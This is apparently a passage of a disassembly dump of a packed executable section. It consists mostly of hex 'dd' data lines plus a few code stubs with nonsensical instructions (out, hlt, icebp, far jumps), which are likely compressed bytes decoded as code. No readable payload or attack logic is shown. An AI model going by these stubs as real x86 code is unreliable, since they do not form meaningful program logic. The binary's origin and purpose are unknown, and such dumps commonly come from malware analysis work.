26F9353Bh, 73AA88A4h, 5235914Eh, 1EC29535h dd 0BFB0E6EEh, 4CF477Ch, 83AB4F02h, 8960A351h, 6758E997h dd 880134F9h, 0CFF0EEC3h, 336AF55Eh, 385EFC2Eh, 69C297EAh dd 3AA4843Fh, 5F28F6C5h, 10272D45h, 7D2C03A6h, 0D589A09Eh dd 0AE4ECD0Bh, 99B74795h, 0F426A6E5h, 9613948Bh, 0F0DC08h dd 4E81EA02h, 5B592E1Fh, 0F2311DC4h, 6DF34BF8h, 3AFFAA1Dh dd 8D2DDC82h, 0B945283Dh, 41B7A718h, 0CC50A7Fh, 8E58F1D3h dd 9EECDAC7h, 988792F6h, 0EB702196h, 1DA81374h, 166BC70Ch dd 898E71B5h, 0D14360BFh, 447C0A9Dh, 987909F2h, 0CC2D23AAh dd 0C16A7D48h, 2A962746h, 8A5D7399h, 0D9BFEA5Ch, 957798A5h dd 0CD610A27h, 314BBB5Ch, 8EAE52ABh, 9CBD2911h, 0B060F2B3h dd 618D2D1h, 8AEBCD28h, 88ECA160h, 4CE13D5Bh, 26FB8B7h dd 0F4BDFC37h, 69FA5A2Dh, 82629BDDh, 0CA6FCF08h, 8AE7EF7Fh dd 0AEF45077h, 6B938324h, 93732154h, 55D114D3h, 0A29BA41Dh dd 0EAE22D67h, 88074DA7h, 55F3A673h, 0D3CD89C1h, 0AD29360Dh dd 7C475174h, 0B391B160h, 54D81B4h, 9437B585h, 32003436h dd 5B67AE2Ch, 28C4D4E2h, 0C1ACD01h, 0DD71838h, 321539CDh dd 66356757h, 0EDD32C75h dd 213EC47Bh, 0E7522641h, 29371989h, 8E28EB33h, 1AD24BCBh dd 0C1F56824h, 7CF2C1CBh, 80CD5271h, 0C18BC365h, 0D3F21B2Fh dd 98FC7DD5h, 4793594Bh, 596BF86Dh, 0C198C66Ch, 3D85BDACh dd 0AE697BEh, 0A8DEBC00h, 0CE7C5BA6h, 0CEE7BDB7h, 0A59A3BDCh dd 8F5029A3h, 9B91113h, 0BE78500Ch, 1969A436h, 8E599311h dd 6492C544h, 0EBF88BC1h, 899457B1h, 7ACB1C6Bh, 905E7858h dd 70EBA3AAh, 0E0B35463h, 464A8DB8h, 0E14EC2E5h, 5E65CFD4h dd 81AE18B7h, 2C67F94Bh, 0C7A4F45Fh, 20E57BCCh, 0C37002DAh dd 0E802560Dh, 466DA8F4h, 86E70560h, 0B46E0B70h, 0F571644Fh dd 1A298D2Eh, 0F31068C9h, 28326C9Ah, 0C1A020E3h, 0EFEC1AE3h dd 0A484CF26h, 612B47F7h, 60901C2h, 7D1F9723h, 71C45B61h dd 1D70128Ah, 0F3D644Dh, 185CCB86h, 0C9A237C8h, 0FAFC5283h dd 6B37FE8Fh, 0FB4A3105h, 8FD38E33h, 0E972C3C4h, 0A6349554h dd 0EE9E84F7h, 734B1BE8h, 0C7803D13h, 144C6B44h, 0D52C030h dd 0AFCEE697h, 3A7BC9A2h, 0F887337Ah, 39FE8972h, 0A3140D57h dd 1847EDC8h, 616D41DCh, 1C2F0DCAh, 7D5B1F6Ch, 489EEFE7h dd 948281CFh, 0C6541729h, 65DB4E31h, 4E7BBDB2h, 801542Bh dd 241EB39Ch, 2E284121h, 39BCE8D5h, 5CC810F0h, 1B74098Eh dd 86400B53h, 4F6B293Dh, 513E735Dh, 546818C9h, 2D5ADE37h dd 0BF282BC2h, 305E1A9h, 5766DE0h, 0BEE60E78h, 8772ECACh dd 0E976EECEh, 0A0433C3h, 0B1E13D9Ch, 0BD790164h, 0B7278719h dd 1678F2DAh, 0C10AF2EEh, 0AAC179B3h, 0AF1385C6h, 8E8651D3h dd 46A32624h, 72CD930Fh, 4DBD3B2h, 2A9F8522h, 0DE8E5042h dd 61D1B666h, 0D1893E76h, 0F6EB7968h, 0D64DCE07h, 3B9656C9h dd 4E959E5Fh, 0B624FDB1h, 0A933ACB2h, 0F04B4604h, 0D75E71C7h dd 455EA2E5h, 32D26807h, 0ED87F12Bh, 8F14361Eh, 7064C7A9h dd 809D8035h, 4A078242h, 8F104424h, 0B572B86Bh, 0A43FAD1Fh dd 0C4B2EC82h, 32354877h, 272F2E9h, 0A50504ABh, 63E39E42h dd 2399584Fh, 0A58DBF60h, 27082BF7h, 0C956D41Bh, 0E285C352h dd 744789ECh, 2D5083EBh, 0E4891A86h, 92161B00h, 32B776C3h dd 388FBC7Eh, 8EB2D892h, 15478DA3h, 11E8C63Dh, 8F035A7Fh dd 0BBFF9C45h, 0B5DA4B03h, 4A99B082h, 0A1D64EE6h, 4B40EA6h dd 6B8A8762h, 3D9749C6h, 22E9864Ah, 0B8632D54h, 0AA38EAFCh dd 98EDF334h, 0E3124F4Bh, 0E61F3F42h, 7F096D17h, 0FDE1608Bh dd 1273D7DDh, 1FAEBACh, 0B63F1026h, 0FB690ABDh, 517F9305h dd 0DA9B4FB3h, 0A3291DCh, 4EF4B8F2h, 0A1FB351Dh, 0AA666E34h dd 9E649B3Dh, 0B92B3998h, 76FA7160h, 0EA511659h, 0F3E3A3FEh dd 798C49C5h, 9FFD51F4h, 9C8FE333h, 6E57D620h, 81E91E07h dd 4A87F458h, 0C4BC14FEh, 2E35524Ch, 5B10093Dh, 0E104B693h dd 2906743h, 30F9F6F5h, 375B6609h, 5A4D3C07h, 9A89936Eh dd 969920E1h, 0F5BAB3D9h, 60E12407h, 708199Dh, 0AB618DA9h dd 37185DCAh, 66763DBh, 0B435B259h, 87B576C6h, 1F69DAACh dd 56F29DF2h, 0AC086E29h, 8D857DA8h, 7EBAD704h, 12B5BE67h dd 0EB1BE2F2h, 0DF7FEA65h, 9F704D78h, 3ED7DACBh, 53F001BEh dd 2C86336Fh, 16864CF9h, 5D19E621h, 7FDB934Fh, 0D79C32AAh dd 1229D5CDh, 3BF92406h, 6B74FD77h, 0F0320754h, 24839C88h dd 499876C8h, 28E2938Bh, 0A122140Bh, 7DE30E60h, 914F650Ch dd 0ADE5FF92h, 775FF2F5h, 23E1A92Eh, 8E3453F7h, 0D7703BDBh dd 94FADF56h, 0C2852266h, 7EB06322h, 0A7581D66h, 0BD97FFF5h dd 0DB25D718h, 0F922B5FBh, 70BF2240h, 54A83263h, 60D8068Eh dd 0A477CC6Eh, 0CAC71CE8h, 0E86F3863h, 5A66BFC7h, 0AF2DA964h dd 1BDD5EC9h, 75FBDEF6h, 0E3DBB97Eh, 5B756134h, 75BEBCDFh dd 787D09A8h, 0F1A1432Eh, 0C4D95C39h, 0CEB5E552h, 7E86B3A8h dd 6166714Ch, 51B3DDBAh, 0AD900A00h, 4092A68Fh, 63DBE4AEh dd 0C3744BE2h, 0C06D5134h, 0CE07C0A6h, 0AEF8119Ah, 7FEECE22h dd 0C827E949h, 3F3F8ECFh, 0E082884h, 0C6D94814h, 0F5947222h dd 727A654Ah, 0BBF3E638h, 8F91033Bh, 0D6D6F331h, 0BA77C6B1h dd 6BDCEF9Dh, 0A1E121D7h, 0BB55BF5Bh, 818E1812h, 0DB922B67h dd 0D9FAD8E7h, 95620730h, 0EFB73013h, 0DE43E41Fh, 5027D10Dh dd 0F689E4DEh, 0AAB943D5h, 0EA14E8DFh, 932DF45Eh, 91226E47h dd 0DB2141C2h, 0F0E1CB5Dh, 0BBE4747h, 0B5235A48h, 0BBE9004Bh dd 0DC8FDE30h, 0DFC74B29h, 61884B7Dh, 0A2CE1E5Ah, 0B4EA3ED5h dd 12E50AADh, 6D7023DEh, 0ABA5B4FEh, 67CE0507h, 2884A51Dh dd 0C9DBBDEEh, 1C44A243h, 0BA66DED9h, 0B6A87CAFh, 0F62AA2Ah dd 0E1D5ABF2h, 0AF501BC4h, 87D5FE6Eh, 0BE0DFD9Fh, 29E9E585h dd 0FA7A335Ah, 721CF56Ah, 8F1D41F0h, 0B552EFCEh, 4A338F90h dd 95F37D45h, 434171A7h, 7CF9473h, 0A4089798h, 0A43EF754h dd 75FD3D43h, 917938A6h, 7BDF03A9h, 38A2F236h, 7DBD6C70h dd 33B4AD9Fh, 0BCF27EABh, 0CD3C441Fh, 0C2825901h, 4C6FD5CCh dd 9A47D32Ah, 296B14F1h, 0AA2EA15Ah, 0A2373685h, 5362E3ECh dd 0AFE6FCAEh, 0E6329B8Bh, 721E619Fh, 6D7E7A11h, 30EC14ACh dd 0E7C4E8D8h, 0E21321C8h, 6492F1EAh, 0FF638A72h, 7779A9E4h dd 6D4F744Ah, 596C219Dh, 0D57DDE46h, 5EB2DFBFh, 5AA70D71h dd 3A788C72h, 0FF8A0D75h, 35DD2466h, 0C3A291FFh, 4BCB1D45h dd 74F1DBE4h, 0F0089777h, 41E26BCBh, 272B8F72h, 71D2EA08h dd 3A607FB1h, 5C29111Dh, 27C4E688h, 8208218Ah, 54452E09h dd 32152DD4h, 2F977C0Dh, 9B2FD2FFh, 46C85978h, 21425993h dd 5279A006h, 0C10E64ADh, 82B2E090h, 32B0A6AAh, 0FF115657h dd 7ACD9D14h, 5C1C8541h, 7B842F87h, 0A5FC407Dh, 22E68972h dd 0CC72CA5Bh, 7F72C83Ah, 8E61F931h, 5FB3F3C6h, 52BE5627h dd 0EE9F5FCh, 0CD0A4245h, 0E87E031Ch, 135C0E52h, 0C41599D8h dd 0F9D53AC1h, 1AAA4870h, 0C1F1B6D6h, 961F1AD3h, 0E6880DD3h dd 2EED4B21h, 0ECC9BA20h, 7A47C94Ch, 0B7C46C68h, 8125FD06h dd 661D0B69h, 0E227D064h, 99885181h, 5EB4FA0Bh, 2DD0227Ah dd 1FEF0D9Bh, 0C12AF2CCh, 51669187h, 0EE241215h, 0C7FA259Eh dd 50E59C1Bh, 86E96177h, 0B208867Eh, 81A5540Fh, 0B4BC0C88h dd 7FB55C68h, 0F678091Ch, 5AD89493h, 0D1826312h, 7A719FD2h dd 0C5E76CAFh, 0B4B42A86h, 0B7178CFCh, 0A227D47Fh, 60F0DE16h dd 0E67BDCFBh, 0FFAAACD7h, 0DBFA39EAh, 50BC5D99h, 22B1A245h dd 0AF8E162Ch, 0A55273EFh, 57E7FB00h, 88594F08h, 0CC9DDF2Ah dd 8C7B4A9h, 2FCDC896h, 0A3CD0FEBh, 517113D1h, 92C17D49h dd 0DD80FB7Ch, 0FDDEEAA9h, 44C2CAA5h, 0C875DC9Bh, 0C4B2093Eh dd 32C13D1Bh, 41CF05E6h, 7B5D717Ah, 5AB575FDh, 0E00368ADh dd 0F9B03F73h, 127CA5BDh, 17F7E23Eh, 5EFBBB31h, 21A3DFCEh dd 0A826BBE6h, 17726B45h, 18BCEE20h, 6C54935h, 5BE8AC0Bh dd 0E33EF19Dh, 0F2CB2974h, 6E9EAE3Eh, 0C7272B0Ch, 43DFE750h dd 3BE0FD7Eh, 0FC215FD2h, 8FB563BFh, 76E30173h, 0A678F549h dd 153093B2h, 0D69F34CAh, 0E87B896Fh, 944C27B5h, 0F0E7CBF3h dd 0D2687E96h, 677B87CCh, 1E867EFEh, 676868F8h, 19402C73h dd 0A1742B10h, 0FEA308DBh, 0D6F40FE9h, 10623EA0h, 7028ED4Eh dd 288DDF71h, 78CAF6F5h, 0C3D45649h, 0D64DCEACh, 7243C46Fh dd 0F58A61B2h, 45FB2DF2h, 4DA734FAh, 83B14416h, 8D76CE8Dh dd 0C32D3393h, 0D852B92Dh dd 8501D3A8h, 4F3110Ch, 0EE1D85B8h, 0EEAD9A0Ah, 93740205h dd 1D39DC3Fh, 875787ADh, 0AE8DE9FAh, 8957E07Ch, 6E7020DFh dd 0CD291844h, 0BF977914h, 775F6A8h, 1AE95F12h, 4F3CBE7h dd 7DB48A56h, 0E5A41065h, 0E031DAE3h, 5B97A9D7h, 8C9CC88Eh dd 0EBFDCA19h, 78825790h, 0D701F0DAh, 6E6ABAB3h, 3F9D9923h dd 24B48A0h, 17B680DEh, 3C78B1C7h, 56F15FD1h, 7C3BB4A0h dd 4C472AA9h, 0E8ABA183h, 0CC90977Ah, 18F7AD0Dh, 0DE428364h dd 0D89FE946h, 84E45C68h, 0E589ED94h, 3542BEA9h, 0FCBDE04Ah dd 0D1D14AD1h, 2B475BF5h, 0B219140Ah, 193A1D99h, 22570A6Ch dd 1447AF2Ch, 0EE5766C0h, 25D149ABh, 95E82DF8h, 0EAD338DEh dd 7165BD8Eh, 0F91156A1h, 0FAA9256Fh, 5B6BFAA4h, 0C16C5CF9h dd 59C254DDh, 420D521Fh, 0CE0D29D4h, 0C16FA59Ah, 0C804AC7Fh dd 84A55178h, 2DB9A668h, 0D6E3265Fh, 0B41DC9B0h, 0B371EF5Dh dd 8D0A3345h, 6F146672h, 9CC69FB2h, 0ADF9376Fh, 2C1C55BCh dd 0AA355A75h, 0E366928Eh, 26589B3Ch, 0C67C797Dh, 0EE1F7588h dd 1C441361h, 278EE9A5h, 0BB0D77A9h, 0ABD2BFA3h, 65378014h dd 3987D833h, 0EF50611Bh, 0B68ADB62h, 0C5D3EAB0h, 0C1E7894Eh dd 0E7B0DFCFh, 690396DBh, 389DA7DAh, 0B29B1A0Ch, 465560A0h dd 9FD83919h, 0C9493DA4h, 9593742Bh, 29C57FA2h, 0E88246BAh dd 8001C56Bh, 0C0CFAFA8h, 0D3F0D460h, 57C6BAC8h, 3311376Bh dd 3D908792h, 0DFA378F4h, 732E3C94h, 3B3735E5h, 7F41B20Fh dd 0B1AB7E06h, 14FDD5Eh, 0AD57202Bh, 0EFA1799Eh, 36DA9740h dd 0FF53D6D4h, 0A76118h, 4918E94Fh, 0C0350333h, 0B5AE85FFh dd 0CC8F950Fh, 0F02B7809h, 75E4BCE4h, 2F37AC70h, 0F1DC00A1h dd 0E0E4FA43h, 9A7070DDh, 0F293E87Bh, 79CA7F05h, 0AB0EDFBEh dd 0DCFA99F1h, 2855A637h, 0B342DE0Bh, 0C0EA49B8h, 3EE2BA96h dd 0D6F7B45Bh, 3F196B44h, 0A43E5701h, 0D4C4F827h, 12060C34h dd 3E146FE9h, 44A2FDBBh, 6862D45Ch, 554077B9h, 532B2426h dd 0D81C72E9h, 0F72AD59Bh, 0B5E740B0h, 1A608AC9h, 4752F64h dd 0FCD98F9Dh, 37EA17D4h, 70BE1AA4h, 0AAB5E7CBh, 8A1E34F0h dd 42DE9534h, 7E4C1E9Bh, 8B283C53h, 1AAB4218h, 4336A292h dd 380C86D2h, 10215A7h, 40D8FD4Fh, 0F0E658DBh, 7BE829F9h dd 5B7CCED0h, 0CFF110B6h, 236E212Bh, 0DCB41B87h, 0AF2AD465h dd 5D4366h, 0C0EF1707h, 0D99FAF7Eh, 0AA477D5Bh, 0FD4D89D9h dd 81D27214h, 0DFA241B0h, 6A170936h, 75F7C34Bh, 6A27638Eh dd 6C007E8Eh, 0B78E7B1Dh, 0B0B0F8A1h, 0AAC862ADh, 119BCFA1h dd 6D4D23A0h, 0BED2C32Ch, 0F199C212h, 8F256859h, 79DA2092h dd 4494A3Ah, 0FCEBF30h, 0CD8B2698h, 34AFA818h, 8C0D24BFh dd 3582D62Bh, 7C2E7331h, 1FAB72Dh, 7333F6D6h, 54346A39h dd 93E35138h, 0DA21953Ah, 6E834591h, 953EC0E2h, 79F7F5D2h dd 2BF1213Dh, 0B7CB027Dh, 9DF3F5FDh, 0FD8551ACh, 3617BC3Ch dd 0A511740Dh, 71F85DEEh, 0FD4C3DFAh, 2E4CFCABh, 8E722549h dd 0D638DA21h, 277FC0EBh, 3FECF40h, 36B49976h, 9B833137h dd 0A40E5D0Fh, 88032C55h, 8727151Ch, 2F41555h, 0BE1B54Bh dd 0FD1D79E4h, 0BD8EF06Ch, 7DFE6735h, 5A6CD863h, 0B30A935Ah dd 0E39000A2h, 6F087D84h, 54C8726h, 8C6B72BCh, 5CA37856h dd 1080B683h, 98A3A4F1h, 525A44FFh, 67E085B3h, 457B42F5h dd 0DD9C1CA5h, 8FAE4295h, 0DD615133h, 5B60CEh, 0E407178Ch dd 0FAF25930h, 0C5FDC3BEh, 0D98A3ADh, 8461B256h, 29DCA0D6h dd 5ADE8F2Bh, 0B5015A87h, 4FDA1C56h, 0BC45AB80h, 4C8593BAh dd 89109314h, 0EED4E404h, 0BE1505A7h, 9E5518A7h, 21610B5Ah dd 17E84683h, 4CBD08B8h, 0BBC93939h, 295FC832h, 2F9DB8AFh dd 6AE54074h, 0CB707840h, 4609FFA2h, 9E43E8B9h, 9B66FECBh dd 88264341h, 0B4D353E6h, 9F640E99h, 32229F2Ch, 0FB104622h dd 0AF77C9D1h, 4E178402h, 0DB86DB76h, 115C4A70h, 0C42EDA4Ch dd 0DCBB11A8h, 3ADACAD6h, 0B4D11723h, 0D8527D91h, 64459008h dd 0DE6A0A74h, 82C158B0h, 0BE8B644Fh, 1436DB6Ch, 6BC49531h dd 2DDC290h, 16E3F89Bh, 0A3C62ECBh, 7257854Eh, 1ACE4515h dd 79295A48h, 7237F7C7h, 26ABC31Ch, 0A692F364h, 32D00276h dd 386B5DC9h, 88B2B422h, 8BC1C904h, 33DD3E3Ch, 0D9732439h dd 0AC00948Ah, 5AD4E653h, 8CDFCC0Ch, 21659C9Dh, 64F867ECh dd 66CC6046h, 0FABA816Bh, 9E7D1A46h, 0E775E62h, 0A4A3360Dh dd 8B72BA92h, 94759E0h, 10E52491h, 6EEE4D5Eh, 0F5973F4h dd 54AACFFFh, 0B174E918h, 71926998h, 0DE1F8CFFh, 0EE191599h dd 96CBBEACh, 0D3E8963h, 7730A508h, 0E728EDE1h, 1CDBFF95h dd 6B845F53h, 65EE6904h, 0FB47F78Dh, 0E19CDA83h, 9F0EBBD9h dd 9B6EE28Dh, 5319CE87h, 412BB7CFh, 0AE72046h, 0C620619Ch dd 87744128h, 225433DFh, 57B86524h, 0EEAB8851h, 0A6881535h dd 62EDAE0Bh, 0BC89DCB6h, 8C117203h, 563C98BBh, 0CDABBA08h dd 5FDB7D04h, 2D2A91BEh, 5A495EADh, 4C80DE33h, 7F70E304h dd 7F8FBE32h, 16562EEh, 0C5AD038Ch, 37029F35h, 5815C6FFh dd 0CF705829h, 0F95CAB90h, 7700C70Dh, 0ED03D591h, 0F07592DEh dd 33CE906Ah, 0D1952CF9h, 79F90539h, 0DB2E7E49h, 85697C64h dd 46B7586h, 0B631EBFCh, 1D231543h, 623CDA4h, 980DEE55h dd 6AC500A4h, 8B1110ABh, 54FA39AFh, 0F3B8E3FFh, 0CFD9BAC2h dd 0C20F1170h, 76CC9BDDh, 18538BEAh, 749EE236h, 512AF474h dd 0EF4B6596h, 0A574B9Fh, 2C3A31D4h, 0CB0D774Eh, 0D93BF3E1h dd 58FAB2D4h, 94DE7CBFh, 0CA77EE0Eh, 0C6349A07h, 2187F345h dd 0ED0FF498h, 87353838h, 86AA2AD4h, 2A9E34E8h, 121B60C9h dd 8A370681h, 0CF2193B7h, 0F86DAA88h, 4AF4AEEh, 4F00C49Fh dd 823F2D68h, 0C3E1DD52h, 0CA0AC603h, 0AB5AC660h, 51E304FEh dd 0BAB9C184h, 154383BDh, 6F5460C2h, 0B2194D73h, 46A6A8E3h dd 38A71738h, 98CE2A77h, 1FE4792Bh, 2C7F1146h, 73455BDDh dd 664F1DE6h, 0AA5D209Bh, 0F424474Fh, 37F9AC37h, 93DBC37Dh dd 41DF3991h, 15D46FEEh, 43A4F9EDh, 0BA624F92h, 80BFEF71h dd 2D2544A9h, 0E5407DCDh, 94007227h, 54C858A8h, 7AC210EBh dd 0FD77EE93h, 9E3B3B7Ch, 0C7B59BF8h, 0BCC862BCh, 26E7D975h dd 82BA37EFh, 6E35747Fh, 0B018C220h, 0D23BD1CAh, 0B309C2FAh dd 455A32AFh, 7D29070Eh, 546E75Ah, 3425180Dh, 37C8C7h dd 0CCA6C46Ah, 1C8A7957h, 0DB927C35h, 5707AF89h, 3AC85419h dd 841DF660h, 0D5A66455h, 0FDFB0A6Ah, 0B0744810h, 526ACB66h dd 9B6C3943h, 0E89BD906h, 0B05904B7h, 0CA480FB6h, 6E655378h dd 0BA3DCCD1h, 6A0AE4DDh, 3E1AF54Bh, 0FE812AADh, 5DD972F6h dd 9227E91Ch, 6F912BEBh, 21F41CDFh, 0A099F7BDh, 8DF8A4Dh dd 4C9C4926h, 0E0D179D9h, 0E96CE5CDh, 4F653E98h, 0BB81F18Dh dd 0ABF947CEh, 0FC507EF2h, 2035850Dh, 0EBEEB442h, 0D38D48E7h dd 0D910D557h, 0D3484E99h, 0D897BCB6h, 0ECF18A6Eh, 0F4835915h dd 26AFF8FBh, 1190E20Ah, 8F2259EDh, 0F76AB2C7h, 9ACA7741h dd 64B6C515h, 4EBE6571h, 296671C4h, 365F67E2h, 0AB4EBF6Ah dd 0E4E5ED7Dh, 0AAC0E9AAh, 0B408CE3Ch, 82C5A809h, 0E98BFEB1h dd 54082336h, 7502F7D3h, 0BA045D45h, 53E736E2h, 0BA1BBDDBh dd 0F4481384h, 7B137201h, 8CA81F2Ch, 0E8EA752h, 0B4E1A694h dd 995D318Ch, 0DB22FBDAh dd 19895AE2h, 0D9917E19h, 39AADC88h, 0C3E4A818h, 8A39178Ch dd 33D6A84Bh, 8B939F25h, 4A387D21h, 0A660A262h, 0E1058D09h dd 356F11DDh, 75CF809Eh, 9F88DC66h, 14FB7A78h, 0E7BD573Fh dd 7C858C27h, 1FAF5AABh, 0E81C4C37h, 0FE651123h, 733F4B67h dd 0ED978BFEh, 0ADACD927h, 725648C3h, 9D913513h, 1E986E12h dd 321E5C5Fh, 5939509Dh, 4AC9F18h, 131757E7h, 0F19B28E0h dd 0BFF3EA5Ah, 6188E1BCh, 31B72FB2h, 5EA0EA4Bh, 430C0BECh dd 58E3DB8Bh, 3726E86Fh, 6A946B4h, 0F2F58692h, 83CA23C1h dd 0B6DE2F5Dh, 966B4D33h, 63D248E7h, 0D9AA098Eh, 73785E76h dd 0DE592B2Fh, 75C7574Ch, 0E58C11D6h, 5668EE0Dh, 0CCBBB31Eh dd 5F4B198Bh, 0A7E81CDEh, 0B0812090h, 1E980048h, 0AFCA137h dd 0BFF611F9h, 6FF85BD0h, 0EE6B9BAEh, 7D1EDD4Dh, 0B714CB7Bh dd 8374C107h, 19221386h, 8389FE20h, 0B4766E57h, 17C9AA76h dd 7544611Bh, 0E282109h, 0CC33E77Dh, 0B3992020h, 0E0BB71C9h dd 0A10109C4h, 1C4FC57h, 129EB27Fh, 0EE459834h, 8CCAB04Eh dd 78D4C5D6h, 0BE07C5B4h, 0C0E94EBFh, 0CFDA4B07h, 0F2066EEh dd 93DFC6F8h, 234179D2h, 314C82BCh, 5F03D73Dh, 2B2F77D8h dd 76FB1B67h, 8CDF21B6h, 119ECF51h, 49FB92D4h, 0AB9E9F02h dd 59E1D2A6h, 7EE4C021h, 0F57094D8h, 0CE4F8007h, 79896EA0h dd 7735089Eh, 91D82AF6h, 0A35CC454h, 0DF7941E9h, 0F2B3BC53h dd 5C3B7962h, 208A6C46h, 255CD79h, 8773CB3Bh, 484C4DDCh dd 0EB4C5810h, 1A1F1163h, 51E8311Ch, 4FD2ED41h, 33350AC1h dd 0AF5871EEh, 0DE6B78DBh, 9D9B96E7h, 37064BAFh, 66EEEC60h dd 231F4AB1h, 0C61E163h, 44A422C5h, 0E449CB0Ch, 7D868B4Fh dd 5280BB43h, 0A2993B14h, 0DF465E69h, 0E469D794h, 681F31FAh dd 0DC8E99D2h, 0C8E17183h, 0EC88D551h, 0B20E2BACh, 10E5F09Fh dd 8A4ECEE8h, 0F64462Ch, 8954FB32h, 0E9D0261Bh, 8349F98Ah dd 0DEBC26F3h, 0FD6676E8h, 0C6AFF3BEh, 8BC5BBBDh, 0F20DA2CAh dd 0AEC62365h, 2B15626Eh, 0FCE3BAF3h, 0EF175B17h, 9621D195h dd 5D4199C3h, 0CCAC14E8h, 504D101Fh, 85964F23h, 0F1FBDFDCh dd 0EDA2AC5Eh, 5538C1BFh, 0F5C19C3Eh, 96B25358h, 812A0E8Fh dd 19F96021h, 4685719Bh, 0E3E430AFh, 0EFD20925h, 879FE203h dd 8F7ED20Ah, 0E5DFF928h, 1B8857A1h, 3D30C2CCh, 2BD8711Ah dd 0BF5AC4A5h, 66A1F3D8h, 95ACBDC8h, 0B30DF4A3h, 4B8B4236h dd 1A97815Bh, 0A66B14B4h, 282BA3A9h, 19A358AEh, 9CCFA020h dd 0D8713AA4h, 7192B230h, 1003932Fh, 0C61A347h, 0D1E6D6D3h dd 8D925AD5h, 8352AB39h, 59235073h, 6B37688Ch, 0D5644380h dd 2C4285C3h, 3B3FD92h, 56DA46DCh, 0EFF8C38Ah, 1DEFF263h dd 8A5E5F5Fh, 1B1465EEh, 2D84DBEh, 0A5FBDB40h, 0B2CE0980h dd 8101EEAh, 12AFF422h, 1DFBDE36h, 3D2DAA28h, 3725C2B6h dd 0F9E07619h, 0F50C5A4Ch, 0E0B146B7h, 46C0A09Dh, 0FF4333F5h dd 0B09B7920h, 23B3B297h, 0DA1B9E0h, 0DCDE6B1Eh, 0ABC4BED5h ; --------------------------------------------------------------------------- loc_425440: ; CODE XREF: .packed:00418C51j loop loc_425461 test bh, dl out 44h, al mov ds, word ptr [edx-3Eh] push ds adc [eax], ah hlt ; --------------------------------------------------------------------------- db 99h, 0ADh, 18h dd 8F27DCE4h, 0CDA55497h, 4B70309Ch, 58A4868Fh db 0A1h ; --------------------------------------------------------------------------- loc_425461: ; CODE XREF: .packed:loc_425440j insb pop edi db 2Eh out dx, al ; --------------------------------------------------------------------------- db 0F3h, 8Fh, 0D9h dd 0FBD576E5h, 26504AC1h, 723CED94h, 7C9D25AEh, 485F9B71h dd 9DB89C18h, 7A78F0C4h, 0C69AE13Bh, 2303D67Fh, 0B6972DA3h dd 0C8186A78h, 23039E15h, 4D4134ACh, 5BD0E4A7h, 9621F508h dd 6E214C9Fh, 1889983Fh, 3EEE0111h, 0C3FE611Bh, 0B3CB2617h dd 8C8B2695h, 120041EAh, 0A90C70C2h, 8AF534C6h, 1C972226h dd 60C575A5h, 48F54075h, 18F5C6C4h, 0D79D4948h, 1DBDA19Dh dd 0A2DC2094h, 0FA947840h, 0E61F6855h, 2EE0A112h, 4EC25628h dd 0AE9E45A1h, 49635174h, 87E6D289h, 34B1DFA8h, 4287DB8Ah dd 0C27971E3h, 9E65C02Ah, 0B8E0799Ch, 0EABF5746h, 0EDDB2DEh dd 8BCC7183h, 0F6DF843Bh, 0C184CCEEh, 0FE1357B8h, 7F42495Bh dd 9E572489h, 0A73687C2h, 3E86CAA8h, 585EBF0Fh, 5D728B03h dd 0EAACD7C3h, 149ABC95h, 0AE664C6h, 821AA4D5h, 4334BCC6h dd 3A2D73B8h, 8D0BD292h, 0BEB28AF5h, 7B8C564Fh, 3C73F0E1h dd 0A548888Bh, 6895FE9Ah, 310E2B52h, 0FAD1BA7Bh ; --------------------------------------------------------------------------- loc_42557C: ; CODE XREF: .packed:00418D8Dj jl short $+2 inc ebx icebp inc ebx sbb byte ptr [edx], 60h inc esi sub [edx+1158FD6Ch], esi push eax dec edx jmp far ptr 0AFB9h:0F20B72C7h ; --------------------------------------------------------------------------- add al, 5Fh retn ; --------------------------------------------------------------------------- push ebx retn ; --------------------------------------------------------------------------- db 23h, 0CDh, 99h dd 0E3A3558Fh, 1C5867CCh, 0F2F0EDD8h, 0D14FCEF1h, 0C376C912h dd 145EDA92h, 0A6296294h, 6170B088h, 5031A092h, 86801926h dd 236435BBh, 0B291F297h, 137BDE5Dh, 94CC3F28h, 5C65356Bh dd 89FD05E3h, 76FCAA18h, 0FFFB5E3Bh, 9CAEB9D1h, 17965365h dd 25FA2AE2h, 0B3B19CEBh, 0B80CDB8h, 33727904h, 0D1D91189h dd 661D4149h, 59A34E30h, 15B918C1h, 50009B80h, 0E77ECF33h dd 1E2303D8h, 24E80D53h, 0C4278B3Fh, 0A27F2697h, 681F0D4Fh dd 0D8DA303Ch, 2AC80DECh, 23619F54h, 71F0BFFAh, 0FA56D9CEh dd 2877E22Ch, 321E2D31h, 0E2AAD72Bh, 6CF704E3h, 5F77633Ch dd 0A00B70F0h, 2D42B026h, 95442D4h, 2DFF1C2Dh, 23F37AECh dd 11FE05ECh, 870A24B8h, 70D47DCCh, 591F9685h, 5B8AE4B6h dd 3005A2EBh, 0D5671BCAh, 8E09C2CDh, 39296EEDh, 16C21D9Bh dd 0B65DEAF3h, 7250025Ah, 6EE71ECCh, 5127085Ah, 30729D43h dd 2AD8CB9Ch, 9254B564h, 80B4D165h, 0AFB038A4h, 0BB24A126h dd 6E134B74h, 0F0B1AAF3h, 0F49CF36Bh, 7C150D61h, 6393F7F5h dd 3AB51F3Dh, 72DB1CF5h, 143299ECh, 0A10D20F5h, 0C5A59898h dd 625FC7B5h, 0B00B57D9h, 0D86D675Dh, 1CFC4848h, 2C654696h dd 86D590F9h, 435E804Eh, 0AEA817ADh, 8EE7ED3h, 0BC881DF3h dd 99A39739h, 55028A96h, 7059AFF1h, 0C237C919h, 6EC98DFEh dd 0D5833B6Dh, 0C4F41535h, 1997E5A8h, 0B9052857h, 3CB24039h dd 4DC6597Ch, 8560963Ch, 0F1856B6Ah, 2E3D9812h, 826D7750h dd 8E3222E2h, 5076B93Dh, 3226BB24h, 5543F3ACh, 7326B322h dd 0B25D7269h, 39FF8804h, 311ED683h, 717E9438h, 5319D486h dd 0C8AFB401h, 7F24F34Ah, 65D63F5h, 0A66F2323h, 0F7C1336Fh dd 4C0CEA39h, 0F3278CF8h, 4DEA8852h, 0F5B59A2Dh, 661879C2h dd 650BDE1Bh, 0DB1170BDh, 7C3B85D4h, 6B59678Bh, 0CD28EF6Fh dd 0DABD70D4h, 0C65FDC12h, 28395D8Ah, 0C1F422Ch, 8A5F9C3Dh dd 0FDDB3ABCh, 0CF3078FDh, 343C91CCh, 0FBA46499h, 82DF3F96h dd 0D9C70D5Fh, 0B2B5AE65h, 0E68EC1Fh, 0FB59ED9Ch, 32145854h dd 